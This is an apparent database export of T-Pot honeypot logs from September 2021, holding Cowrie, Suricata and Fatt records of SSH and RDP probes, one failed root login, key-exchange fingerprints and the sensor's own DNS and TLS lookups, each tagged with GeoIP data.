28805	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:20:41.700401+03	2021-09-20 14:30:03.312524+03	{"_id": "KwbvAnwBvYTbRNuEyzFr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.login.failed", "message": "login attempt [root/strong] failed", "session": "977abbf653b9", "@version": "1", "password": "strong", "username": "root", "timestamp": "2021-09-20T11:20:41.700401Z", "@timestamp": "2021-09-20T11:20:41.700Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28806	163.172.167.225	109.199.241.180	Suricata	2021-09-20 14:20:41.450151+03	2021-09-20 14:30:03.313525+03	{"_id": "LAbvAnwBvYTbRNuEzTEb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:20:41.363219+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "163.172.167.225", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1294367558568659, "payload": "AAADzAYUO8OIzwYkW+/xZtziMx3dkAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40670, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:20:41.450151Z", "@timestamp": "2021-09-20T11:20:41.450Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......;....$[..f..3......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
28807	95.85.8.215	109.199.241.180	Suricata	2021-09-20 14:20:41.676938+03	2021-09-20 14:30:03.314525+03	{"_id": "LQbvAnwBvYTbRNuEzTEb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "flow_id": 1173378329866502, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40802, "dest_port": 22, "timestamp": "2021-09-20T11:20:41.676938Z", "@timestamp": "2021-09-20T11:20:41.676Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28808	95.85.8.215	109.199.241.180	Fatt	2021-09-20 14:20:41.677052+03	2021-09-20 14:30:03.315524+03	{"_id": "LwbvAnwBvYTbRNuEzjFa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 40802, "dest_port": 22, "timestamp": "2021-09-20T11:20:41.677052", "@timestamp": "2021-09-20T11:20:41.677Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28809	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:20:42.774262+03	2021-09-20 14:30:03.317524+03	{"_id": "NgbvAnwBvYTbRNuE0TEF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 36054, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1404, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 871815791168048, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 53752, "timestamp": "2021-09-20T11:20:42.774262Z", "@timestamp": "2021-09-20T11:20:42.774Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28810	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:20:42.823381+03	2021-09-20 14:30:03.318524+03	{"_id": "OgbvAnwBvYTbRNuE0jFE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35084, "dest_port": 443, "timestamp": "2021-09-20T11:20:42.823381", "@timestamp": "2021-09-20T11:20:42.823Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28811	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:20:43.362235+03	2021-09-20 14:30:03.319523+03	{"_id": "PQbvAnwBvYTbRNuE0jFE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35086, "timestamp": "2021-09-20T11:20:43.362235", "@timestamp": "2021-09-20T11:20:43.362Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28812	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:20:42.994655+03	2021-09-20 14:30:03.320524+03	{"_id": "RwbvAnwBvYTbRNuE0zE8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "43a9b7ffd027", "@version": "1", "duration": 1.3621256351470947, "timestamp": "2021-09-20T11:20:42.994655Z", "@timestamp": "2021-09-20T11:20:42.994Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28813	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:20:43.763097+03	2021-09-20 14:30:03.321523+03	{"_id": "SQbvAnwBvYTbRNuE1DHu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:43.532817+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1483107749011793, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 33645, "dest_port": 3389, "timestamp": "2021-09-20T11:20:43.763097Z", "@timestamp": "2021-09-20T11:20:43.763Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28814	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:20:41.410927+03	2021-09-20 14:30:03.323523+03	{"_id": "GQbvAnwBvYTbRNuEyjFy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "163.172.167.225", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40670, "timestamp": "2021-09-20T11:20:41.410927", "@timestamp": "2021-09-20T11:20:41.410Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28815	163.172.167.225	109.199.241.180	Suricata	2021-09-20 14:20:41.450037+03	2021-09-20 14:30:03.324524+03	{"_id": "LgbvAnwBvYTbRNuEzTEb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "flow_id": 1294367558568659, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40670, "dest_port": 22, "timestamp": "2021-09-20T11:20:41.450037Z", "@timestamp": "2021-09-20T11:20:41.450Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28816	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:20:42.743258+03	2021-09-20 14:30:03.326524+03	{"_id": "NQbvAnwBvYTbRNuEzzFS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "977abbf653b9", "@version": "1", "duration": 1.3336586952209473, "timestamp": "2021-09-20T11:20:42.743258Z", "@timestamp": "2021-09-20T11:20:42.743Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28817	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:20:42.772656+03	2021-09-20 14:30:03.327525+03	{"_id": "OAbvAnwBvYTbRNuE0TEF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 36054, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 871815791168048, "@version": "1", "in_iface": "enp5s0", "src_port": 53752, "dest_port": 53, "timestamp": "2021-09-20T11:20:42.772656Z", "@timestamp": "2021-09-20T11:20:42.772Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28818	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:20:43.267199+03	2021-09-20 14:30:03.329524+03	{"_id": "NwbvAnwBvYTbRNuE0TEF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 9333, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 443242479555519, "@version": "1", "in_iface": "enp5s0", "src_port": 59255, "dest_port": 53, "timestamp": "2021-09-20T11:20:43.267199Z", "@timestamp": "2021-09-20T11:20:43.267Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28819	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:20:43.269058+03	2021-09-20 14:30:03.330523+03	{"_id": "OQbvAnwBvYTbRNuE0TEG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 9333, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1403, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 443242479555519, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 59255, "timestamp": "2021-09-20T11:20:43.269058Z", "@timestamp": "2021-09-20T11:20:43.269Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28820	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:20:43.322011+03	2021-09-20 14:30:03.331524+03	{"_id": "OwbvAnwBvYTbRNuE0jFE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35086, "dest_port": 443, "timestamp": "2021-09-20T11:20:43.322011", "@timestamp": "2021-09-20T11:20:43.322Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28821	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:20:42.863984+03	2021-09-20 14:30:03.333524+03	{"_id": "PAbvAnwBvYTbRNuE0jFE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35084, "timestamp": "2021-09-20T11:20:42.863984", "@timestamp": "2021-09-20T11:20:42.863Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
